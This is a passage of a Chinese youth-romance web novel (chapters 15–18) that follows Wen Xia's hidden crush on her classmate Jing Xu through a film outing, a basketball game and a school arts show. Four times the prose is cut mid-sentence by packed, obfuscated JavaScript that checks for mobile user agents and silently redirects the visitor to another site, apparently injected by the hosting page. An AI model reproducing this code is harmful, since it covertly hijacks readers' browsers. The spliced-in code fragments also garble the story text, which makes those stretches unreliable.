宋陆鸣跳了一下,对着空气投了下篮,而后冲景栩扬了扬下巴:“哥牛不牛逼?” 景栩用手肘撞了一下他:“幼不幼稚?” 话音刚落,嫌幼稚的人也做了个空气投篮。 “谁幼稚?”宋陆鸣抬起手肘撞了回去。 温夏站在原地,看着他们打闹的样子,忽然很羡慕。 她原本也有这么可爱的朋友。只是现在,格格远在辽城,程聿留在市里补习,新年也不回来。 三人组就剩下她一个。 15. 15 他们渐渐走远,温夏收回了视线。 在她抬脚往前走时,她听见景栩的声音:“温夏。” 等她看过去,景栩才再度开口:“你今晚有什么安排吗?” 她不知道他为什么这么问,顿了一瞬:“看春晚吧。” 景栩:“我看你大伯他们都没在家,反正都是看,要不要跟我们一起?” “啊?” 宋陆鸣搭腔:“对啊,咱仨还能斗地主,人多热闹。” 温夏鬼使神差应了声好。 到了林婆婆家,温夏乖巧地向坐在沙发上的老人问好:“林婆婆,新年快乐。” “夏夏你也是。”林婆婆拿出了许多零食,“喜欢吃什么自己拿,别客气。” “谢谢婆婆。” 温夏其实不怎么看春晚,她今天的安排也不是看春晚。 她也没想好要干什么,只是刚才他那么问,她也就随口那么答了。 宋陆鸣看起来也不是会安分看节目的,果然在两个节目后,温夏看到他把手放进兜里,摸出手机看了眼。 只是,没两秒,他还是把手机塞回了兜里。 老人家先熬不住,十点不到就说困了,要回房间休息。 宋陆鸣不知道什么时候也睡着了。 温夏起身同景栩告别:“我先回去了。” “等一下。” 温夏问:“怎么了?” 景栩指了指温夏的手:“伤口要处理一下。你先去洗手,小心别碰到伤口。” 说完,他走到电视柜旁的一个薄荷绿柜子前,从里面拿出一个药箱。 温夏愣住。 两秒后才反应过来,往洗手间的方向去。 等她出来,景栩已经把药箱打开了:“你自己可以吗?” 温夏点头。 她走到沙发上坐下,正要有所动作,景栩已经把蘸好碘伏的棉签递了过来。 “这样长的伤口不处理怎么行呢?会感染化脓的,幸好不深。”他说。 这下,温夏知道他刚才为什么会突然回头叫她,邀请她来一起看春晚了。 “谢谢。” “没事儿。” 温夏以为没人会在乎她的伤口,甚至她自己都没有当回事。 却被他注意到了。 从一开始一起放烟花,到现在,景栩有很多机会问她伤口是怎么来的。 可是他都没问。 最让温夏动容的,是他细心地等到现在,没让她的难堪暴露在更多人面前。 温夏心里蔓延出一种无法言说的情绪。 莫名惹人鼻酸。 原来,让人想掉眼泪的不止是绝望和苦难,还有美好和温暖。 - 宋陆鸣是在年初三那天离开树阳的。 那天温夏在水果店,傍晚回来,才知道他已经走了。 宋陆鸣在的时候,温夏几乎都能看到景栩。他们每天都会出门,很难说清谁陪谁。 宋陆鸣走后的一周里,温夏再没见过景栩。 她潜意识里,景栩不属于这个地方。他有他的山海,迟早有一天会离开,他会回到堰青,回到那座金光闪闪的城市。 一周都没见,大概是……跟他一起走了。 树阳的春天,似乎要比其他地方要早。临近开学,天气已经暖和许多,只有路边光秃秃的树,还残留着冬天的痕迹。 开学前一天,温夏在单元楼下遇到林婆婆。 陪老人家聊了几句,想起每次散步,景栩都会陪着老人家,终于忍不住试探:“景栩今天没陪您吗?” “他在上课呢,我就是下楼转转,没跟他说。” 听到这句话,温夏无意识绷紧的唇角,也无意识放松了。 他没走。 开学当天,天还没亮,黄筝就给温夏打了电话:“夏夏,你寒假作业写完了吗?” “写完了。” “我一直觉得,能按时写完作业和每天早起的人,同样厉害。”黄筝哭丧着,“我就写了一点点。夏夏,明天你早点来吧,把你作业借我借鉴借鉴。” 作业没写完的,不止黄筝一个人。 温夏到教室的时候,已经来了不少人,一眼看去,全是补作业的。 黄筝眼巴巴看着温夏:“救星,你终于来了!” 齐子尧抬头看她一眼,手上补作业的动作却没停:“女神!听说你作业写完了。我还差物理了,江湖救急,给我瞅两眼。” 温夏被他的模样逗笑:“你这样写的字能认?而且,我也不确定我的答案对不对。” “不重要,重要的是写完。”齐子尧回答着,也不知道他回应的是哪句话。 温夏坐下没多久,景栩也进了教室。 他阳光又朝气,没有其他人脸上的疲色,清爽得像早晨叶尖处的露水。 黑色书包只挂了一侧肩膀,慢悠悠地走向座位,黑色书包带随着他的动作一晃一晃。 和教室里的鸡飞狗跳比起来,他闲适自得像来饮茶的。 新课表还没张贴,上午的课都由班主任带。 老严踩着早自习的铃声走进教室:“都别藏了,没写完作业的自觉领一星期值日,去劳委那儿登记。 “作业也被想逃,明天之内交给学委,学委给相应的科任老师抱到办公室。 “上午没什么安排,先打扫卫生。” 一个假期过去,教室很多地方都落了灰,花了两节课才彻底打扫完。 下午一共三节课,本来应该按照课表上,但英语老师说,请一班全体同学看电影,就把数学课和体育课给要了。 本来以为是在教室看,没想到英语老师说让他们收拾书包,去电影院看。 教室里立刻爆发欢呼声,好些人跳起来,高声呼喊:“莉姐我爱你!” 趁着乱,温夏侧身,转头把目光投向景栩的位置。 很快的一眼。 快到,就好像她只是坐久了活动脖子的时候,不小心瞥到。 他背靠着墙,手搭在课桌上,低着颈,漫不经心地看着眼前的一切。 黄筝显然是最激动的那个,齐子尧说:“拜托你收敛一下,眼睛都快笑没了。” “你那眼睛不笑也看不见。”黄筝怼回去,怼完就拉着温夏走了。 距离电影开始还有十分钟,黄筝拉着温夏从队伍出来,去买了爆米花和可乐。 幸好这个时段来看电影的人不多,买爆米花和可乐的人也不多,她们很快买完,径直往三号厅走去。 英语老师包了场,整个三号厅只有一班的人。 临近开场,整个影厅只有大屏亮着。 景栩坐在第二排,他身后正好空了两个位置。 走到第五排,黄筝停下:“夏夏,坐这里吧,这里视野好。” 这是个小厅,第五、六排的确是最佳观影位置。 温夏走向第三排的脚步生生停住:“好。” 过了没多久,温夏听见前面整齐庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986530|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝的声音:“耶!” 紧接着坐在景栩旁边的齐子尧说:“栩哥输了,请客啊!” 话音刚落,温夏就看到他站起身走出影厅,几分钟后回来,手里多了两桶超大份的爆米花,手腕上还挂着装了几瓶可乐的塑料袋。 他从门口回到位置,只花了不到两分钟。 这两分钟,他穿梭在光影里,又很快消失。 温夏全部的注意力却被吸引过去。 从她的位置,只能看到他的半个脑袋和一小截肩膀,她却再没了看电影的心思。 不知道过了多久,她听到身边黄筝的啜泣,急忙抽出纸巾递给她。 黄筝一直哭到了电影结束,越哭越凶。 整场电影,温夏脑海里,只有中山美穗躺在雪地里的镜头,还有她对着广阔雪地喊出的那句“你好吗我很好”。 这场电影看哭了很多人。 可是没怎么看电影的温夏不理解,他们为什么会哭成那样。 从电影院出来,齐子尧拍了下黄筝肩膀,等她回头才知道她哭了,脸上泪痕还未干。 犯贱的话就这么咽了下去。 好几次他想开口安慰,却又不敢上前,怕自己说错话,又惹她哭。最后不知道从哪拿了根棒棒糖,递给她,别扭又生硬地安慰:“我妹妹一吃糖就不哭了。” 说完才察觉不对,急忙找补:“我不是说你在哭啊,就是……哥们儿有钱,想单纯想花钱。” 黄筝笑出声:“你得去买一本提升情商的书,不然你说话真的容易被打。” 齐子尧难得没跟她呛,只是挠挠头:“行,有时间我去书店看看。” 黄筝似是没想到他这么好说话,噎了一秒:“去去去。” 到一个路口,英语老师把他们集合起来,嘱咐了几句注意安全,然后让住校的站成一队,走读的站成一队:“住校的跟我一起回学校,走读的到家后,在班群里报平安。” 人没几分钟就散了,温夏和景栩走到对面公交站,63路车来的时候,温夏率先上了车。 投完币,发现景栩也上来了。 她没敢奢望景栩能坐在她身边,于是按照自己的习惯,走到最后一排坐下。 没想到,景栩投完币也走过来了。 63路并不经过余庆巷,他自然地开口:“你要去哪?” “求知堂。” “这么巧,我也去那儿。” 求知堂是个书店,卖教辅资料和课外读物。从电影院出来时,黄筝请她帮忙买小说,明天带去学校。 温夏一向不懂怎么跟人聊天,何况面对的人是他,她更没办法找话题了。 她干巴巴地回应:“是啊,好巧。” 再没了下文。 到求知堂,两人去了不同的图书区。 温夏找了好久,才找到黄筝要的那本霸总小说,她往“外国文学区”那儿看了眼,发现景栩还站在那。 书店的装了白色窗帘,此时窗户半开着,风灌进来,卷起白色的轻纱,似悠悠涟漪在平静的湖面漾开。橘黄的余晖恰好被窗户框住,干净清爽的少年,立在温柔浮动的光影里。 他叫住了一个工作人员,交谈几句后,工作人员去了另一个房间,出来时手里多了本书,把它递给了景栩。 温夏收回视线,去了收银台。 这会儿书店人不多,温夏很快结完账。 景栩没多久也过来,温夏看到他手里的书——圣埃克苏佩里的《小王子》。 16. 16 温夏看过《小王子》的中文译本。但只是在图书馆时,胡乱翻了几页,没完整地读过。 他手上拿的这本,是全英版。 饶是温夏自认英语不错,也从来没敢翻任何一本英文原著。 书店在一条新建的文化街,从书店出来,得走出这条街才有公交站。 期间有十来分钟的脚程。 两人走了几步,温夏看着他手里的书,生硬地开启话题:“你选的读物是这本吗?” 英语老师布置了作业——本学期,学生自选英文读物。小说也好,绘本也好,选定后,在本学期内读完,期末前写一篇读后感交给她。 景栩笑笑:“不是,我选的是《在路上》。你呢,选的是什么?” 温夏抿唇:“我还没想好。” “才开始,不着急,慢慢来。” “嗯。” 一直走到公交站,两人都没再说话。 尴尬的气氛像海水涨潮,汹涌而来,将人裹得密不透风。 温夏想找点话题,却发现,根本不知道该如何开口。 宋陆鸣费那么大劲送他篮球明星的签名球衣,他应该很喜欢篮球,可她对篮球知之甚少;也有人送了他一份写着“KAPLA”的礼物,可她对积木、乐高、建筑一类也一窍不通。 事实上,这段时间,她鼓起勇气上网搜索了“KevinDurant”和“KAPLA”;看了几场篮球赛事,了解了篮球场上的得分种类、选手替换,知道了什么是技术犯规;也翻了几本类似《建筑识图与结构》的书…… 对于篮球和建筑,她连业余爱好者都算不上。可看的这些东西,应该足够用来和他闲聊。只是,她自卑,胆怯,思虑良多。害怕说错,害怕在他面前丢脸。 最终,她只能放任心里那点本就稀薄的勇气,被自卑彻底吞没。 她的确在努力朝他靠近,可她还是会露怯。 翻过的书、网页上的搜索记录、无数用完的草稿纸和笔芯、期末考试的排名和分数……每一样,都留下了她一步一步朝他靠近的痕迹。 可是这些还不够。 远远不够。 在她似蜗牛般,艰难地、一寸一寸地往前挪的同时,他也进步神速,将她远远地甩在身后。 眼前的车走了一辆又一辆,都没有他们要等的车。 温夏暗自祈祷,去往余庆巷的公交,能晚些来。 不知道过去多久,温夏终于想到话题:“我不知道怎么选读物,你有什么建议吗?” 她突然开口,景栩侧头看她,想了会儿:“尽量找一些经典读物吧。” 等了十来分钟,他们遇到一班的同学,六七个男生,走在最前面的张鹏手里拿着篮球。互相打过招呼后,张鹏问景栩:“栩哥,打篮球,跟二中的比赛,去不去?” 同行的还有卢杭,他在景栩肩膀上打了一拳:“走呗,听说这次对手挺强的。” 景栩转头看温夏,似乎是觉得,就这么把她一个人丢在路边不太好。 他正要开口拒绝,就听见温夏说:“你的书要我帮你带回去吗?” “不用,这书又不占地方,带去球场也一样。”景栩说。 他本来想问温夏要不要一起去球场,但转念一想,她似乎不是对篮球感兴趣的人,便作罢。 安静的缝隙,不知道谁的手机响了一声。 张鹏从兜里摸出手机,看完后,将它塞回了裤兜里。 他似是觉得把一个小姑娘丢在路上不太好,便看向温夏:“咱班几个女生要过去看比赛,你要不要一起?” 温夏内向,但脾气温和,在班上虽然存在感不强,但遇上了,大家都愿意和她说话,带她玩。 温夏没想到他会问,反应了会儿。 景栩以为她不好意思拒绝,正要开口帮她,就听到她说:“好啊。” 温夏对上景栩的目光,手捏着书包带:“反正我一会儿也没安排。” 即使对篮球比赛不感兴趣又有什么关系? 对她来说,只要能多一点时间和他相处,就足够了。 一行人浩浩荡荡到了附近的篮球场,温夏看到同班的几个女生,走过去,加入了她们。 郑檬看到她,似是没想到:“夏夏,你也来了啊?” “嗯。” “正好,我们要去超市买水,你要不要去?” “好啊。” 超市离球场不远,步行几分钟就到。 这次和二中的比赛是友谊赛,张鹏和二中的人认识,今天早上约起来的。 几个女生听说后,就说要过来当拉拉队,还分配好了送水的任务。 温夏和景栩是临时被拉过来的,给景栩买水的任务就自然落到了温夏头上。 温夏站在货架前,面对各式各样的汽水,她毫不犹豫地拿了两罐可口可乐。 只要是晴天,他每个大课间都会去学校超市买冰可乐;他生日那天,临开饭前,他发现冰箱里没有可乐了,立刻跑下楼买。 而且他似乎只钟爱可口可乐。 有一次学校超市只剩下百事,他犹豫了几秒,最后只拿了一瓶矿泉水。 走神间,她听到郑檬叫她:“夏夏,你买好了吗?” “好了。” 她们回到篮球场时,比赛已经开始了。 他奔跑在球场上,球一个接一个进。 球技好,长相也惹眼,轻易就引了球场上许多少女的目光。 一小时后,比赛结束。 景栩额头上冒了不少汗珠。他随手捞起衣服下摆擦汗,露出一截白色的腰腹,隐隐能看到腹部肌肉的轮廓。 温夏很快移开目光。 其他人都有人送水,她赶紧拿了可乐小跑过去。 “谢谢。” 他接过可乐,没急着喝。 走出球场,张鹏拦着景栩肩膀:“栩哥,牛逼啊。” 要不是他栩哥防住对面最壮的前锋,他不可能有机会投进最后那个球,以一分之差险胜二中队。 他爽朗地笑出声,坦然地接受了张鹏的夸奖:“哥们儿确实牛逼。” 温夏跟在他们身后,光听也能想象到他此刻的表情,明亮又夹杂着一点小得意。 走了几步,温夏看见他拎着罐身的左手动了动,食指扣住拉环,随着“啪”一声,拉环被扯开,他仰头喝了一口。 春末的风虽然还是有些凉,但是很温柔。 温夏忽然想,如果可以一直就这样跟在他身后,好像也不错。 她刚才买了两罐可乐,现在手里还有一罐。她学着他的样子,想单手把拉环拉开,但不知道是力道不够还是发力方式错误,她没能拉开。 不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987257|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁开口了,像是闲聊:“栩哥的水是夏夏买的吧?夏夏,你怎么知道栩哥爱喝这个?” 所有人都看向温夏,景栩也出于那句话,看向了她。 似是怕她尴尬,景栩出声解围:“人随手买的,别作死啊。” 温夏对上他的眼神,心虚地松开了扣住拉环的食指,眼神瞥向别处,平静地说着谎:“去买的时候,手边正好就是,顺手拿了。” “那还真巧。” “嗯。” 这个小插曲,除了温夏无人在意,话题很快扯到别处。 大家共同走了一段路后,开始有人道别。 景栩和温夏同路,和大家告别后,景栩问:“你一会儿有什么事吗?” “怎么了?” “我要去花店,给外婆买束花,她茶几上的蝴蝶兰枯了。”景栩说,“你要是有事,就先回去。” 这个抬手看了看表,想了想:“那我先走了。” “好。” 景栩走了后,温夏没等公交,而是去了文化街。 她又去了一趟书店,买了一本全英版的《小王子》。 到家后,她拆了塑料封膜,翻开内页粗略地看了看,就把这本书摆在床头。 总觉得它应该被好好对待。至少,要等到她平心静气、不被繁重课业和生活的泥泞所累的时候,再翻开它,用同他一样轻松的心情,细细品味。 翌日清晨,温夏刚出单元楼门口,就看到了景栩。 他的身影正好消失在转角。 他们鲜少有在单元门口就能遇见的情况,总有一个人先走,然后相遇在公交站牌下。 温夏和往常一样,加快步伐。 公交还没来,他和几个人站在环形路的尽头等。 温夏走过去,他感觉到有人靠近,抬头朝她的方向看过来:“早上好。” 温夏心里却有一个高兴得跳舞的Q版小人,面上却一副平淡如水的模样,只挂着礼貌的笑:“早上好。” 话音刚落,公交正好靠站。 两人上了车,自然走到空着的位置。 景栩在她身边坐下后,从口袋里拿出一张折了两道的A4纸,递给她。 温夏不明所以地接过。 上面是他列的书单,第一排是英文,他在第二排贴心地附上了中文名、作者和译者。 他的字很好看,每一笔都走向流畅、收放自如。 在她打开纸张看到上面内容的那一瞬间,晨曦也正好透过车窗玻璃照在上面。 她没想到,他会把这件事记在心上。 原本以为,这件事,在他说完“尽量选经典读物”这句话,就已经结束了。 温夏将纸沿着痕迹折了回去,拉开书包拉链,妥帖地放进了书包夹层。 珍视又小心翼翼,像极了久入沙漠的淘金者,历尽种种磨难后,挖到第一颗碎金的模样。 暗恋者又何尝不是暗恋里的淘金者?在暗恋这片广袤荒芜的沙漠里,他们几乎没有淘到金子的概率。 可依旧明知不可为而为之。 这是暗恋者的心酸之处,却也甘之如饴。 “谢谢。”她说。 景栩并不觉得这是什么大事,淡淡一笑:“小事。” 温夏转头看向窗外,在心里默默反驳。 ——这才不是什么小事。 17. 17 时间不急不缓地滑到了四月份。 四月中旬,身为班主任的老严,在一个温暖的午后被叫去开会,回来时带来一个令人振奋的好消息——五月中旬的文艺汇演,如期举行。 五月的文艺汇演,是一中建校以来的传统,只是已经连续三年没有举行,难免让人猜测今年的活动是不是也会泡汤。 听到如期举行的消息,教室里爆发一阵欢呼。 每个班至少要报一个节目,但老严希望大家多多益善。 下午有一节班会,一整节课都在讨论一班要报送的节目。 温夏没什么才艺,一直安安静静听着其他同学毛遂自荐,或者推荐他人。 在一众嘈杂的声音中,温夏听见后桌的齐子尧激动地吼了句:“栩哥!栩哥会跳街舞!还会打架子鼓!实在不行,栩哥还会弹钢琴!才艺多多,供君选择!” 其他人也纷纷附和,只是具体说了什么,温夏已经听不见了。 她只感觉脑子里一阵嗡鸣。 他好像什么都会,无论哪方面都很优秀。万缕千丝的阳光同时铺洒大地,他一定是最耀眼的那一缕。 偏偏这样最有资格恃才傲物的天之骄子,谦逊而有教养,不惹人嫉恨,跟谁都相处融洽。 而她——在所有人自信大方地说出自己才艺的时候,她能做的,只是默默听着。 无论从哪一方面,她都平凡至极。像路边的野草,像沙漠中的沙砾,像树林里的树叶……像这世间千千万万的、随处可见的、再普通不过的事物。 这节班会,是开学以来,讨论程度最热烈的课。而温夏始终一言不发。 其实温夏也想过,为什么非要在许多细枝末节跟他比呢? 或许是为了提醒自己要更努力,又或许是为了警告自己不要妄想太多。 她自己也不知道。 这节班会最终报给老严五个节目,需要在四月底参加选拔,获胜的那个才能最终登上文艺汇演的舞台。 景栩没听怂恿报钢琴独奏,但他表示可以给班里的合唱队伴奏。从那天开始,温夏时不时会听见从林婆婆家传出来的钢琴声。 后来她摸到规律,景栩怕会打扰到别人休息,会在晚上七点到七点半这个时间段练琴。 温夏就这么听着琴声过了一个月。 正式演出的前一天,学校要进行联排,下午不上课。 这天中午吃完午饭,温夏和黄筝没回教室,直接去了操场。 今天太阳很大,联排两点才开始。她们沿着跑道走了两圈,找了个阴凉地儿坐下。 温夏一坐下,就拿出了一本只有手掌大小的“历史随身记”。 黄筝也拿出一本。 半小时后,黄筝说:“夏夏,别看了,咱相互提问吧。学过的内容都行。” “好。” 到了两点,参加了民族舞的黄筝把书收起来:“时间到了,我先去候场了。” “去吧。” - 联排进行了两次,温夏一直在原地,看了所有节目。 傍晚五点半,景栩和一班的合唱队第二次上台。 全部彩排结束,是傍晚六点。 温夏忽然肚子疼,去了趟厕所。 等她出来,看到站在落日余晖下,一个拿着小提琴的女生走到景栩旁边,跟他说了几句话。 隔得远,她听不清他们说了什么。只看到景栩点点头,女生高兴得小跳起来。 她看到他们一起走上舞台。 景栩重新在钢琴前坐下,女生打开琴盒,把小提琴拿了出来,走到他身边。 然后,他们在黄昏里,开始了合奏。 刺眼的阳光已经消散,余晖温柔地笼下来,天边漂浮着散云,色彩瑰丽。 舞台上的两人,得到了最后一点余晖的青睐。他们同余晖一起,组成了一幅莫奈笔下的油画。 明明是宁静柔和的傍晚,却因他们而变得热烈耀眼。 不知道从什么时候开始,周遭安静下来。 温夏远远地看着他们,心里塌陷一块。 黄筝不知道什么时候走到她身边:“夏夏,还不走吗?” “马上了。” 大概是察觉到她的情绪,已经走出两步的黄筝,又折了回来:“你怎么了?” “没事儿啊。”她故作轻松。 黄筝将信将疑:“那我先回宿舍了?” “去吧。” “你真没事儿?” 温夏扯出一个笑:“真的。” - 文艺汇演当天,景栩身着一身燕尾服,似英国电影里优雅的绅士。 合唱队的歌是老严给选的,说要正能量,就定了《阳光总在风雨后》。 她坐在台下,听无数人为他喝彩。 耳边不时传来或克制或放肆的叫声,每一个音浪,都是对他的仰慕和欣赏。 这种时候,她总会清晰地认识到,和他之间的差距。 这种差距像一条巨大的沟壑,横亘在他们之间。她不敢迈出一步,似乎往前一寸,就会跌进深渊,万劫不复。 最后一个节目,是小提琴独奏。 演奏的人是昨天在黄昏下,邀请景栩合奏的女生。 温夏想起昨天黄昏下,他们合奏的那一幕,怅然和失落一同涌上心头。 如果,她也自信优秀,也会像那个女孩子一样,有底气地走到他面前,同他谈笑风生。 胡思乱想着,听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007320|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人问:“同学,你有姨妈巾吗?突然来了,我没带。” “有的。” 温夏背了书包,她拉开书包拉链,从夹层里拿了一片递给女生。 女生甜甜一笑,给了她一颗糖:“请你吃,谢谢啦。” 温夏也回以微笑:“不客气。” - 晚上。 温夏在水果店,写完了两套试卷。等订正完已经夜深了,没什么生意。 店里只有她一个人。 昨天黄昏下那一幕,一直在她脑子里,像是长了根。 她盯着店门口那盏灯发呆了好一会儿,才终于咬了下唇,拿出手机,给远在辽城的格格拨去了电话。 那边很快接起,声音轻快:“夏夏!今天怎么想起给我打电话了?” 听到她的声音,温夏也受到感染,眼底扩散极浅的笑意:“想你了。” 从格格搬走,她们经常会在社交软件上聊天,联系一直没断过。只是很少有打电话的时候。 一向大大咧咧的格格,好像明白这通电话并不简单,“夏夏,发生什么事了?” “其实……”温夏不知道如何开口,想了好半晌,才继续道,“也没什么大事儿。” 她只是觉得有点难过。 对他了解越多,他们之间的沟壑就深一寸。一寸接一寸,像是铁了心要下陷成一个,她穷极一生也无法填补的深渊。 她什么都没说,格格也不知道要怎么安慰她。 两人就这么举着电话。 时间一分一秒流逝,格格平时急咧咧的性子这会儿也没发作,就这么等着。 好几分钟过去,温夏终于开口:“我遇到了一个人。每次看到他,我都很开心。可同时他也让我很难过……他像天上的太阳,我想靠近他、追逐他,可是时间越长,我越发现,我好像做什么都是徒劳。” 格格消化了一下这些信息,心里有了结论。 温夏没说那个人是谁,格格也没问,只在电话那端叹了口气,苍白地说了句:“夏夏也很棒的。” 格格不是出于安慰,才这么说。 在她心里,温夏真的很好。 温夏从小经历了很多糟糕的事,可她依旧对未来充满信心,像一棵蒲草,坚韧又柔和;她待人接物也很温和,很善于发现别人的优点……和她相处过的人,不会不喜欢她。 那晚聊到最后,格格问温夏,既然他让你这么难过,为什么不放弃他,为什么还要继续喜欢他? 为什么不放弃他,为什么还要继续喜欢他……温夏后来也无数次想过这两个问题,可没有哪一次得到过答案。 喜欢这件事,本来就是不由自主的沉沦。 没道理可言的。 18. 18 六月,树阳的雨季和夏天一起来了。 空气沉闷而潮湿,巷子里石板路缝隙里和墙角的苔藓愈发猖獗,空气里满是咸腥味。 从文艺汇演以来,温夏一直在克制自己,刻意地和景栩保持着距离。 她不再站在那块圆形站牌下等他;放学也不会再刻意和他乘同一班公交;知道他喜欢打篮球,她就避免去篮球场附近;路上遇见他,她就绕另一个方向走…… 像格格说的,在一些事情上,她应该学着放弃。 仔细算一算,她已经很久没跟景栩说过话了。 他们之间,哪怕在同一个班,只要她不刻意制造联结,他就永远都不会注意到她。 端午节前一天,是周五,下午最后一节是班会。老严利用这节课来调整了班里的座位。 坐在第四排最后一张课桌的卢杭和景栩被分开,后者被调到了齐子尧的位置——第一排第四张课桌。齐子尧被换到了第三排,黄筝被换到了第二排,温夏则和卢杭成了同桌。 温夏现在的位置,一抬头就能看到景栩,只是依旧看不全他的样子。 第四排和第一排之间,隔了的这些人,像是无数个山海,隔在他们之间。 调整完座位,下课铃响。 学生也正式迎来三天的端午假期。 温夏照常去水果店, 景栩好像很久没来买过水果了。 这三天她没见过景栩,但听说他在上课。 他没在树阳报补习班,也没在树阳请私教老师。听说给他上课的老师,是堰青的,他每天放学,都会有老师给他进行线上的一对一补习。这些老师还会单独给他出试卷…… 三天假期过去,不过是写完几套题的光景。 这三天里,温夏没忍住,在班群里找到景栩的账号,点了进去。怕留下访客记录,她没敢点进空间,只停留在个人资料的页面。 返校上课的第一天,午休时,黄筝拿了很多长条纸,在温夏前面的空位坐下。 “老严这是怎么了,突然想着调座位。”黄筝一坐下就开始控诉,“夏夏,你不在我身边,我这一上午总觉得少了点什么。” 说完,她分了一些长纸条给温夏:“夏夏,你会折星星吗?” 温夏接过:“会的。” 吃完午饭的齐子尧走过来,在桌面上捡起两张纸:“这是干嘛呢?” 黄筝把纸抢回来:“跟你说了你也不懂。” “你不说怎么知道我不懂?” 黄筝没说话,齐子尧却福至心灵:“你不会又看了什么肥皂剧,模仿人家女主角折许愿星呢吧?” 黄筝一噎,齐子尧知道自己猜对了。 他随手扯了张凳子黄筝身边坐下:“说说,要许什么愿?” 黄筝斜了他一眼:“没想好呢。电视剧里说,得一千颗才能许愿,我这还差的远呢。” 齐子尧坐在一边看,想帮忙又无从下手。 黄筝在一班人缘好,没多久身边就围了不少人,帮着她一起折。 景栩不知道什么时候也过来凑热闹,齐子尧问:“栩哥,你会折这玩意儿吗?” 景栩没回答,只是笑着捡起两张长纸条,没一会儿就折好了两颗。 窗外有人喊:“景栩,打球去啊!” “来了!”他应着,那两颗粉色长条折成的星星,被他随手放在了桌面。 大家一起折了十来分钟,就各自回位置午休或学习。黄筝对这个没执念,时间差不多,她拢了拢桌面上的纸星星,小跑着回座位拿铁盒子。 温夏就是在这个时候,伸手,将景栩折的那两颗粉色星星,偷了过来。 那两颗星星一直放在她的桌角,很轻易就拿到。 她下意识观察了身边的人。 幸好大家都在做自己的事,没人关注她。即使如此,她还是呼吸急促,甚至全身都在发抖。 她真的变成了一个小偷。 - 下午第二节是体育课,第一节课下,眼保健操结束,一班的学生就立刻冲向操场集合。 有人还开玩笑说,怕去晚了,体育老师又“生病”了。 做完热身活动,他们绕操场跑完三圈就自由活动。 黄筝和温夏都不是喜欢运动的人,干脆和几个同样不喜欢运动的同学,找了个地儿,围成一圈坐下。 他们晒着太阳,随意聊着天。 齐子尧最爱玩,体育课上也最爱运动,这会儿却跟他们坐一起闲聊。 话题不知怎么就扯到了折星星这件事上,齐子尧问黄筝:“你这那么多星星,到底有什么愿望?嫁给偶像剧男主?” 黄筝想了会儿,似乎真没什么愿望,但折都折了,她不想被齐子尧嘲笑,顺口胡诌了一个:“我想吃草莓蛋糕,但我又不舍得花钱。我就想,等折满一千颗,就去买一个。” 齐子尧就差把“无语”俩字儿印脑门上了:“您这愿望,还真是伟大。” “……” 温夏的注意力,时不时放在景栩身上。 他跑完圈,就和几个哥们儿去了器材室拿乒乓球拍。 可能趁着拿球拍的空当跑去淋过水,他头发湿透,往下滴着水。他抬手将额前的发往后捞,暴露出他立体漂亮的五官。校服宽松的袖子被他推到肩膀,露出整条带着薄肌的手臂。 因为天气热,他只穿了夏季的短袖校服。只有领子和左胸处的刺绣校徽是天蓝色,其余是一片白。 户外乒乓球台被安装在几棵百年桑树下,此时桑叶在树上层层叠叠堆着。午后正盛的阳光,从难觅的罅隙中挤出来,在他肩上落下一块。 这样晴朗明亮的天气,这样青春意气的人,组合在一起,成了温夏平淡校园生活里,最亮眼的一块拼图。 这个再平常不过的时刻,温夏忽然明白,人缺失什么,就会向往什么。 她根本无法抗拒耀眼的事物。 就像飞蛾无法拒绝火光。 在不喜欢景栩这件事情上,放弃比坚持更难。 吹来一阵风,也把一句话吹进了温夏心里——那就继续吧。 既然没办法放弃,那就继续坚持下去吧。 画地为牢,站在最合适的距离,默默地,远远地,不让他知道。 下午最后一节是自习,快下课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024764|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,下了一场雨。 这场雨来得猝不及防,极少男生有带伞的习惯,所以几乎大半的人都被困在教室里。 无论晴天还是雨天,温夏都习惯把伞装在书包里。 